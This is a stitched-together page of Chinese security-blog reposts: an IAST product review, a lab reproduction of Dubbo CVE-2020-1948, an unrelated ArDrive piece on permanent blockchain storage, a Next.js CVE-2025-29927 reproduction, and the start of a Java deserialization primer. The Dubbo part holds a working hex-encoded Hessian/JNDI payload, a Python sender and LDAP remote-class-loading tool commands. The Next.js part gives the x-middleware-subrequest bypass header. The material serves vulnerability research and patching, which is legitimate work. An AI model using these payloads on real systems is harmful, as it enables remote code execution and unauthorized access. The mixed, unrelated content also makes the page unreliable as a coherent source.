预处理之后,调用 com.secnium.iast.core.handler.vulscan.ScannerFactory#scan,又分别进行动静态的扫描:

  • 静态扫描包括:crypto-weak-randomnesscrypto-bad-maccrypto-bad-cipherscookie-flags-missing 四种漏洞类型的支持。
  • OverPower 扫描:目前没有具体实现。
  • 动态扫描:判断 sink 方法的污点来源是否命中污点池,将当前调用的污点事件存入 EngineManager.TRACK_MAP 中。

source 节点处理

将当前污点来源事件存入 EngineManager.TRACK_MAP 中,将污点来源的返回结果放入 EngineManager.TAINT_POOL 污点池中。

propagator 节点处理

处理传播节点的逻辑是最复杂,这里还是简单描述:

  • 如果污点池为空,证明还没有经过 source 点,则不处理传播节点,否则还是去 IASTHookRuleModel 里找对应的 IASTPropagatorModel 对象。
  • 如果找到了对应的对象,则调用 auxiliaryPropagator() 对象,根据传播节点的配置将结果写入 event.outValue 。并将传播节点时间写入 EngineManager.TRACK_MAP 中。
  • 如果没找到对应的对象,则调用 TrackUtils.smartEventMatchAndSetTaint() 判断,判断太长了没看,最后还是将传播节点写入 EngineManager.TRACK_MAP 中。

看完了这些节点的处理方式,我们简单串一下逻辑:

  1. 一次请求到达了应用程序,首先进入 http 节点处理逻辑,进行标记和预处理。
  2. 请求进入到 source 点,将 event 放入 EngineManager.TRACK_MAP 中,将 source 的结果放入了 EngineManager.TAINT_POOL 污点池中。
  3. 请求再进入 propagator 节点时,根据配置判断传播节点的参数是否存在于污点池中,如果是,则将传播节点 event 放入 EngineManager.TRACK_MAP 中。
  4. 应用程序走到最后的 sink 点时,根据 sink 点的配置,判断 sink 点的参数是不是在 TAINT_POOL 中,如果是,则将 sink 点写入 EngineManager.TRACK_MAP 中。
  5. 随着程序的多次调用,程序还会再次进入多次传播节点,这些节点也会被放入 EngineManager.TRACK_MAP 中。
  6. 在应用程序执行完,回到 http 节点,最后执行到 leaveHttp 时,会调用 GraphBuilder 构造污点调用图并发送至云端。

越权检测

在看代码的时候,多次看到 over power 一类的字样,想来想去终于想明白了,这可能是越权的意思。IAST 能检测越权?有点意思,那我们来看看他是如何实现的。

之前提到过 com.secnium.iast.core.handler.vulscan.ScannerFactory#preScan,在这个位置命中 sink 点后,有两个处理逻辑:

  1. 如果命中了 unvalidated-redirect 的 sink 点,并且是方法签名是 setHeader/addHeader 等,就将其理解为可能是登陆成功后的跳转操作,找到其中 Set-Cookie 的值:
  • 如果判断当前为登录逻辑,则保存到 AuthInfoCache中,
  • 否则将更新原有缓存的 cookie 信息,并且向云端发送报告
  1. 将会创建 IJdbc 的实例, 调用LoginLogicRecognize.handleLoginLogicRecognize() 方法处理登陆逻辑识别:
  • 通过 isLoginSqlQuery() 使用正则匹配 sql 语句,看是否有登录字样,识别是否为登录连接
  • 调用 AuthInfoManager.handleAddCookieAction() 方法将“登陆相关的sql查询语句”、“cookie”信息、sink 点的 ClassName发送至云端,并把 cookie 缓存到 AuthInfoCache 中。

后续在之前也看到了,对应的 OverPowerScanner 的 scan 方法没有具体实现,那这时候我们可以猜测一下,作者主要是想通过 cookie 和登陆的 sql 语句进行关联。通过检查 sql 语句是否与污点池有关、检查 sink 点的参数是否与污点池有关来判断是否有越权。这些数据都被发送到了云端,那对于云端来说,如何区分不同权限的用户?如何判断这个请求是否应该匹配到用户?

以目前程序里的处理逻辑,还做不到鉴权的功能,在云端中也没有展示这个漏洞类型,等待进一步的更新。

其他

其他漏洞的检测逻辑没什么要说的,主要是 hook 点的选取。

0x04 测试

在看完代码逻辑和简单试用后,我们正式的测试一下这个产品。
首先编译一下 agent,我这边的环境是:

通过调试发现自己编译 core 和 inject 没用,他的 agent 无论如何还是会从官网上自己下载这两个 jar 包并放到 temp 目录下,不知道是故意的还是写出来的 bug,因为如果从官网上下载,也只是下载 agent,在运行时动态下载 core 和 inject,应该是最开始打算试用,没打算开源??由于我的目的是学习调试,所以我使用了自己编译的关闭了 proguard 混淆的版本,并修改了判断逻辑,使应用程序不去云端判断,直接加载本地 jar。

为了更直观的看到 agent 对类字节码的更改,需要在配置文件中更改 iast.dump.class.enableiast.dump.class.path 相关参数。

功能型测试

通过上一章功能实现的探究,我们已经关注到了几个安全检测功能的实现,那具体的检测结果怎么样呢?

image

我在自己的靶场里触发了绝大部分的漏洞类型,但很遗憾的是,由于云端的搜索引擎问题,以及 sink 点选取问题,我没能在云端看到太多的检出漏洞。云端的漏洞展示是有问题的,看不到前一天的漏洞内容,不知道是 django 的问题还是什么,建议修复一下。

也建议作者出一个官方漏洞靶场,能对应到所有洞态支持的漏洞类型,也容易理解和说明。

性能测试

以下是使用 wrk 进行的压测:

image

可以看到洞态给应用程序性能带来的影响特别大,当然 IAST 通常都在测试环境下使用,所以可能并不是特别关注性能。

0x05 评价

出来在之前分析过程中的一些我将从两个方面对目前版本洞态 IAST 进行评价,首先是使用中的一些想法:

  1. SCA 漏洞组件管理没有整理和去重,在我测试的过程中多次重启项目导致同一个条目在云端能看到很多次。
  2. 页面上表格查询和相关排序用起来真的难受,建议招一个设计。
  3. 搜索功能面对小白非常不友好,可以说如果对 IAST 不了解的情况完全用不了这个管理后台。
  4. 支持的漏洞数量还是少了点,并且没有对这种漏洞的描述、解决建议什么的信息。
  5. 既然是 java agent 技术的产品,那应该能够给到用户完整的调用链、一些关键调用点信息如代码行数等等,而不是只给到一个 http 请求。

作为一名安全研究员,同时也是 RASP 产品的参与者,我提出几点想法:

  1. 所有的 hook 点,全部是写死的规则文件,无论是本地的 xml 也好,还是远端的 json 也好,都将 hook 点的类,描述符,相关信息完全写死,我相信这些规则是通过某些手段生成出来的,但是一旦在 hook 点选取上没有选择使用动态手段,那就失去了和 0 day 打交道的能力。
  2. hook 点(这里指 sink )的选取还是层次太浅、规律性较差。
  3. 洞态 IAST 检测了当前环境使用的中间件,并发送给云端,目前除了信息收集还没看到有什么样的具体用途,但是通过hook点来看,对于http请求的点还是使用了适配各个中间件的方式, OpenRASP 也是采用这种方式,这种方式在功能上没有什么问题,但是同样地还是失去了动态性,不优雅,也不能做到通用。
  4. 应用在实现上使用了太多的字符串比较处理,以及正则,这将对原应用性能带来极大的影响。
  5. 在调试过程中,包括污点图的处理,总是被大量的无效信息占用了过多的时间,比如 StringBuilder 一类的传播节点,这其实不是漏洞调用的关键节点,个人认为没有必要处理他。
  6. agent 每次收到请求,只要不是静态的,都要向云端发送报告,丧心病狂吧。
  7. 没有对 ClassLoader 进行相关处理,无论是前两年的冰蝎,还是各种反序列化的利用 gadget ,包括我自己的 su18.jsp ,都少不了使用 ClassLoader 加载恶意类的请求,这应该目前 Java 安全关注点比较高的地方,还是建议给 IAST 一个挖 gadget 的可能。
  8. 攻击者目前常用的类似内存马、动态注册 Filter 一类的、以及像一些反序列化恶意类找 response 对象回显的,其实都可以试着搞一搞。

就这样吧,也不想说太多了。

0x06 吐槽

通过个人角度,主要觉得这个项目有以下槽点:

  • 错别拼写真的不少

image

  • 代码重复也不少

image

  • 报告导出的 word 字体到底是咋回事

image

  • 这个功能我点了,不好使,我没看代码有没有相关实现,但这功能贼危险,建议还是不要搞了

image

  • 应用漏洞的展示页面中不会出现重复漏洞,会进行合并,但是可怕的是我触发一次SQL注入漏洞,页面上的出现次数就涨 5 次,这应该是同一条请求调用链上触发多个 sink 点导致的?

image

  • 这个日志记录提供清空和删除功能不说,详细度也完全不够,绝对过不了等保。。。

image

  • 搜索显示完全有问题

image

  • 后端明明回数据了,为啥前面不展示呢

image

  • 一个方法的多个重载方法,没必要都写进去,因为有自调用啊

image

  • 区分应用是怎么区分的呢?

image

0x07 总结

对于一款使用 Java agent 技术开发的工具/产品,重中之重就是 hook 点的选取,以及处理各项逻辑的具体实现,因为需要将代码运行到服务器端,不影响原有功能、不影响原有性能是首要考虑的目标。

这是作为框架考虑的,其次是针对各个漏洞点的检测逻辑,这部分是需要对漏洞理解的足够深入,也就是需要安全研究人员的介入,目前洞态有一部漏洞的检测是写死在代码里的,一部分漏洞的检测是依靠配置文件的设置的。还没有处理成大家习惯的框架-插件的模式,所以想在此基础上二开还是需要花费较多时间理解代码。

期待更新。

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

本文转自 JingQ 并作补充

关注该漏洞的童鞋,应该对 Dubbo 这个架构优秀的 RPC 框架不陌生,所以直入主题

漏洞详情

腾讯安全玄武实验室研究员发现,Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。

经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对 Dubbo 服务端进行恶意代码执行,影响广泛。

影响版本

dubbo 2.7.6 以下的版本

复现环境

漏洞注入简介

漏洞发现者 rui0,使用 Remo 模块,最终是通过 JdbcRowSetImpl 调用 jndi 来进行远程代码执行

由于该场景复现依赖于低版本的 jdk,之前使用 jdk-8u221 没能复现,去官网下载回低版本,使用低版本后成功复现

名词解释

  • PoC: Proof Of Concept 的缩写。在黑客圈指:观点验证程序。
  • CVE: Common Vulnerabilities & Exposures 通用漏洞披露。
  • ExpExploit,在安全方面,翻译为 「利用」,指利用漏洞进行攻击的动作。
  • Payload:翻译为「有效负荷」,指成功 exploit 后,在目标系统执行的代码或指令。
  • RCEremote code execution 远程命令执行,简称 RCE 漏洞。
  • RMI: 专为 Java 环境设计的远程方法调用机制,远程服务器实现具体的 Java 方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。
  • LDAP: 轻量级目录访问协议,目录服务是一种以树状结构的目录数据库为基础,外加各种访问协议的信息查询服务
  • JNDI: Java Naming and Directory Interface,包括 Naming ServerDirectory Server。是一种 Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

以上大概就是本次漏洞所涉及到的专业名词,先有个大概了解,后面的内容看的应该比较明白。

漏洞复现

复现场景翻阅了很多篇文章和尝试,发现通过别人构造的 payload 来复现最为简单,所以这里记录一下复现的流程

模拟 Provider

攻击依赖于 rome 工具包中的 ToStringBean 工具,所以无论下载什么提供者项目,都需要将以下依赖加入到 POM.xml 文件中

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

dubbo-spring-boot-project 说明

  • 一、在 github 下载示例代码,切换分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依赖
  • 三、打包启动
1
2
3
4
5
6
// 下载
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切换分支
$ git checkout 2.7.6
// 添加完依赖后,打包
$ mvn clean install -DskipTests

image

  • 四、启动服务提供者

启动的时候,注意要用低版本的 JDK,使用 IDEA 的话,可以在这里选择编译运行的 JRE

image

接着启动 Provier 即可

运行 JNDI 程序

使用了该位大佬的 PoC,里面注入的 URLldap://127.0.0.1:1389/Exploit,具体原理可以 参考资料六

具体原理说明:

image

以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

  • 一、下载注入工具代码
1
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、编译工具包,在 target 目录生成
1
$ mvn clean install -DskipTests
  • 三、运行 JNDI 工具包
1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

例如测试时,执行的命令是打开计算器,可以执行下面命令

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

构造 POC

编辑以下 Python 脚本,触发 dubbo provider 反序列化,例如以漏洞名来命名为 2020_1948.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))

def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)

run("127.0.0.1",12345)

最终复现效果:

image

漏洞小结

  • 1、下载 demo 代码,加入 rome 依赖
  • 2、启动 JNDI 服务
  • 3、构造 2020-1948.py Poc 攻击

漏洞原理简述

网上公布的 PoC 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

image

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImplgetDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

image

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

image

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

image

至此,注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社区讨论&安全网站修复建议

  • 合并社区 aquariuspj 用户给出的对 DecodeableRpcInvocation 增加入参类型校验

    修复分支 #6374

  • 漏洞发现者 rui0 建议删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
    评论建议

还有阿里云官方的安全建议

目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:

思考分析&修复思路

复现条件有限

需要引入 rome 类型的 jar 包,包含特殊的构造方法和 toString 方法(或许还有其它攻击点)

社区讨论内容

社区讨论和 commit 的内容,增加了前置校验,在反序列化之前判断服务或方法是否有效,非 $invoke$echo 方法将会抛出错误,不进行参数的反序列化,增加了一点攻击难度。但由于方法名 methodName 可以用户自定义,所以修改方法名还是有可能跳过校验,触发漏洞

image

结合业务分析

业务方使用 rome 依赖的很少,构造这种类型的攻击,由于没有这个类,在 provider 反序列化时会提前报 classNotFoundException,没有执行到 readObject 方法,从而无法攻击。

综上所述,考虑到修复难度和影响范围,最后对 dubbo 修改方案如下:

  • 1、合并社区针对改漏洞的修复分支 #6374
  • 2、将 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免对输入参数进行反序列化

絮叨

隔行如隔山,一山还有一山高,修复漏洞真困难。感慨漏洞发现者们,多亏这些白帽子的仔细,揭露了这么多可攻击点,将漏洞信息提交到安全中心,让使用方了解到漏洞详情。

还有 Dubbo 这个中间件的社区活跃度很高,出现问题后,大家讨论的热情高涨,积极去修复漏洞,社区活跃度高,代码更新快,支持的功能越来越多,使用起来也更放心。

通过这次分析,了解到挺多基础的安全知识,感觉随着开源代码被研究更透彻,可供攻击的点也越来越多,在代码设计和编写时,也得注意一下安全信息,避免被攻击。

参考资料

1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

6、LADP、RMI 注入程序原理说明

7、示范例子使用的注入程序

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别

11、Github 社区讨论

What is permanent data?(什么是永久数据?)

What is permanent data?(什么是永久数据?)

本文转自 ardrive 并作补充

image

在ArDrive,我们经常提到“永久数据”这个词。然而,人们常常对“永久数据”的概念感到困惑。我们都习惯了生活中的事物,包括我们的数据,并非永久存在。那些学校作业、照片和商业记录都到哪里去了?那么,永久数据是否意味着我们的数据永远不会消失?永久数据究竟意味着什么? 数据永久性指的是存储在区块链上的信息(称为链上数据)将保持原样,不会发生任何变化,并会持续进行验证和复制。 这并不一定指数据保存的时间长度,而仅仅是指所存储数据的性质:不变、可复制且经过验证。数据只有在其所在的网络安全的情况下才能保存。也就是说,永久数据所在的网络被设计得极其强大,因此数据能够长期保持不变且安全无虞。让我们深入了解一下永久数据的构成要素,以及人们究竟可以对这些数据抱有多大的信心,相信它们甚至能够超越自身的存在时间。

在区块链数据中,“永久性”意味着什么?

“永久性”这个词听起来可能很复杂,但实际上它的概念很简单,尤其是在区块链技术的语境下。让我们来详细解释一下,以便更好地理解。首先,永久性意味着:不可篡改:不会改变;持续验证;多次复制。这是区块链技术的一个关键特性,它就像一个数字账本或记录系统。想象一下,区块链是由一系列区块组成的链条,每个区块就像一个装有信息的数字盒子。一旦这个盒子被数据填满并添加到链条中,它就无法被更改或删除。这就像用笔在笔记本上写字,然后就无法擦掉一样。这就引出了区块链中数据永久性的概念。数据永久性意味着存储在区块链上的信息(称为链上数据)将长期保持不变,不会发生任何变化。这就像将信息存储在一个超级安全的数字保险库中,使其永远安全无虞。为什么这很重要呢?在当今这个我们大量依赖网络的世界里,拥有一个可以永久且安全地存储信息的地方至关重要。这对于财务记录、法律文件,甚至是个人信息等尤其重要。你可以把它想象成一种确保数据不受干扰且始终可用的方式,就像一个数字信息的时间胶囊。总而言之,在区块链的语境下,“永久性”意味着数据被永久记录在链上并保持这种状态。 永久数据:链上存储、不可篡改、已验证、可复制,也就是永远无法删除。我们已经找到了实现数据永久存储的方法,但如何确保数据能够长期保存呢?

image

永久数据对数据的长期保存意味着什么?

数据的保存期限至关重要——我们不想要只能维持几个月甚至几年的存储系统。我们已经有太多这样的系统了。

那么,长期保存永久数据的最佳方法是什么?

数据的保存期限取决于其所处系统和硬件的性能。以下是我们迄今为止使用过的一些系统和硬件:卷轴、纸张、书籍、图书馆;CD、磁带、DVD、录像机、蓝光光盘;U盘、内存、硬盘;云存储、企业、订阅支付。所有这些方式在数据传承过程中都经历过成功、痛点和失败。任何档案管理员都知道,长期数据存储和保存是一个难以克服的难题。

那么,永久数据能否成为长期数据存储解决方案的一部分?

我们认为可以。原因如下。ArDrive 所基于的 Arweave 区块链上的永久数据 是一个去中心化网络,拥有极具吸引力的激励机制来维持其运行。换句话说,成千上万的人存储着这些数据,并且他们会因此获得持续的经济奖励。正如预期的那样,Arweave 的技术和经济模型非常完善且详细,您可以在“数据真的可以永久存储吗?”这篇文章中阅读完整的解释,但现在我们先来看一个简要版本。

经济模型

Arweave 的经济模式可以概括为“先支付一部分,为未来储备更多”。每次购买存储空间,其中一小部分(16.67%)用于支付当前的存储费用。那么未来几年呢?剩余的 83.33% 将存入一笔捐赠基金,作为应对未来成本的应急资金。那么,这笔捐赠基金何时会动用呢?近期内不会。事实上,根据经济模型计算,目前的捐赠基金规模足以支付数据持有者未来数百年的费用,从而确保他们能够覆盖成本并实现盈利。随着越来越多的数据被添加到 Arweave 网络中,捐赠基金的规模也会不断增长。如果存储价格上涨,这笔捐赠基金将为数据提供安全保障。然而,随着存储价格的下降(这种情况几乎总是如此),这笔捐赠基金可能永远都不会被用到。

image

你怎么知道它在200年后是否还会存在?

Arweave 网络承诺数据存储可保存 200 年。显然,没有人知道 200 年后世界会是什么样子——那么,如何才能做出这样的承诺呢?我们无法穿越到未来去查看情况。但是,我们可以模拟不同的场景(很多很多不同的场景),并创建能够应对这些场景的系统。已经创建的模型和系统让我们有信心数据能够长期保存。让我们将一些现有的系统与 Arweave 进行比较,看看它们的表现如何。其他一些数据存储方法/系统:纸质存储——历史上遗失了多少书籍和卷轴?此外,纸质存储的保存难度更大。U盘——U盘的平均寿命为 3 到 5 年;硬盘的寿命为 5 到 7 年。这些存储设备有多少次出现故障?普通人又能多大程度上监控这些存储设备的状态呢?云存储——云存储因其便捷性而得到了广泛应用。即便如此,数据丢失的案例仍然不胜枚举。仅仅依靠一家公司来存储数据真的值得信赖吗?如果停止支付月费会发生什么?所有这些都表明,我们需要寻找替代方案来帮助实现长期数据存储。

我们能从Arweave网络上的数据保存方式中学到什么?

如果上述所有方法和系统都存在各自的缺陷,那么 Arweave 在长期保存方面的可靠性如何呢?使用 Arweave,可以轻松检查任何数据的保存状态。Arweave

网络上的任何交易都可以根据交易 ID 进行查询。当我们查找交易编号时,可以看到:

  • 实际数据是什么(如果公开的话)以及何时上传到区块链的。
  • 自上传以来,已确认存在的次数
  • 重复次数(该数据集有多少份副本)
  • 什么是永久链接

以下是五年前的一些随机数据样本:

那么,让我们把这笔交易与过去五年和未来五年的其他存储方法在可靠性方面进行比较。

数据存储选项对比表

image

image

因此,将永久数据与您五年前存储在U盘、硬盘或云账户中的数据进行比较,并展望未来五年:五年后,我们对U盘还是Arweave更有信心?您的硬盘还能再用十年吗?我们能否将所有数据都托付给一家云服务公司?如果您停止支付月费会发生什么?这是一种将数据传承给后代的好方法吗?云解决方案是解决方案的一部分,但还需要什么来增强它?正如我们比较了各种存储方案后发现的,链上永久区块链数据应该让我们相信,链上永久数据存储不仅能陪伴我们五年,而且很可能比我们活得更久。这确实有助于解决长期数据保存的问题。

存储解决方案的一部分

随着时间的推移,它将不断证明永久数据作为一种长期数据解决方案的可靠性。这不仅是因为支撑它的网络稳定可靠,更重要的是,它始终如一地保存着承诺的数据,而其他系统则不断暴露出自身的弱点。随着永久数据的应用日益普及,我们热切期盼它能成为长期数据存储解决方案中越来越重要的组成部分。因此,当您试用 ArDrive 并上传您的第一个文件时,正如我们常说的,感受一下永久数据带来的不同。您可以完全放心,您的文件安全可靠,并且在未来很长一段时间内都不会发生变化。

image

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

本文转自 CVE-柠檬i 并作补充

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

漏洞信息

Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。包含众多功能,是深入研究复杂研究的完美游乐场。在信念、好奇心和韧性的推动下,我们出发去探索它鲜为人知的方面,寻找等待被发现的隐藏宝藏。

当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。

该漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。

补丁:

  • 对于 Next.js 15.x,此问题已在 15.2.3 中修复
  • 对于 Next.js 14.x,此问题已在 14.2.25 中修复

漏洞复现

vulhub已有环境:vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

启动环境:

1
docker compose up -d

image

访问虚拟机3000端口,可以看到环境搭建成功:http://your-ip:3000/login

image

访问根路径,显示需要登陆:

image

添加请求头,使用权限绕过payload

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

访问成功,权限绕过漏洞复现成功

image

参考文章

Next.js 和损坏的中间件:授权工件 - zhero_web_security (zhero-web-sec.github.io)

vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

CVE 2025 29927 Nextjs Auth Bypass - chestnut’s blog (ch35tnut.com)

Next.js中间件授权绕过漏洞终极指南:CVE-2025-29927深度解析与防护策略 - 高效码农 (xugj520.cn)

Comparing v15.2.2…v15.2.3 · vercel/next.js (github.com)

代码审计知识星球 (zsxq.com)

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

本文转自 Acl0 并作补充

Java反序列化漏洞全解:原理、案例、利用与防护

本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。

1. 什么是Java反序列化漏洞?

Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream机制,自动还原序列化数据的对象状态。

反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

如果攻击者控制object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。

漏洞核心要素

  1. 可控输入:攻击者能够提供恶意的序列化数据。
  2. 反序列化触发:应用调用readObject()或通过易受攻击的库处理数据。
  3. Gadget链:在反序列化时自动触发恶意代码的类和方法链。

2. 利用原理

Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()readResolve()finalize()等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。

主要攻击方式

  • 命令执行:通过Gadget链调用Runtime.getRuntime().exec()执行任意命令。
  • 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。
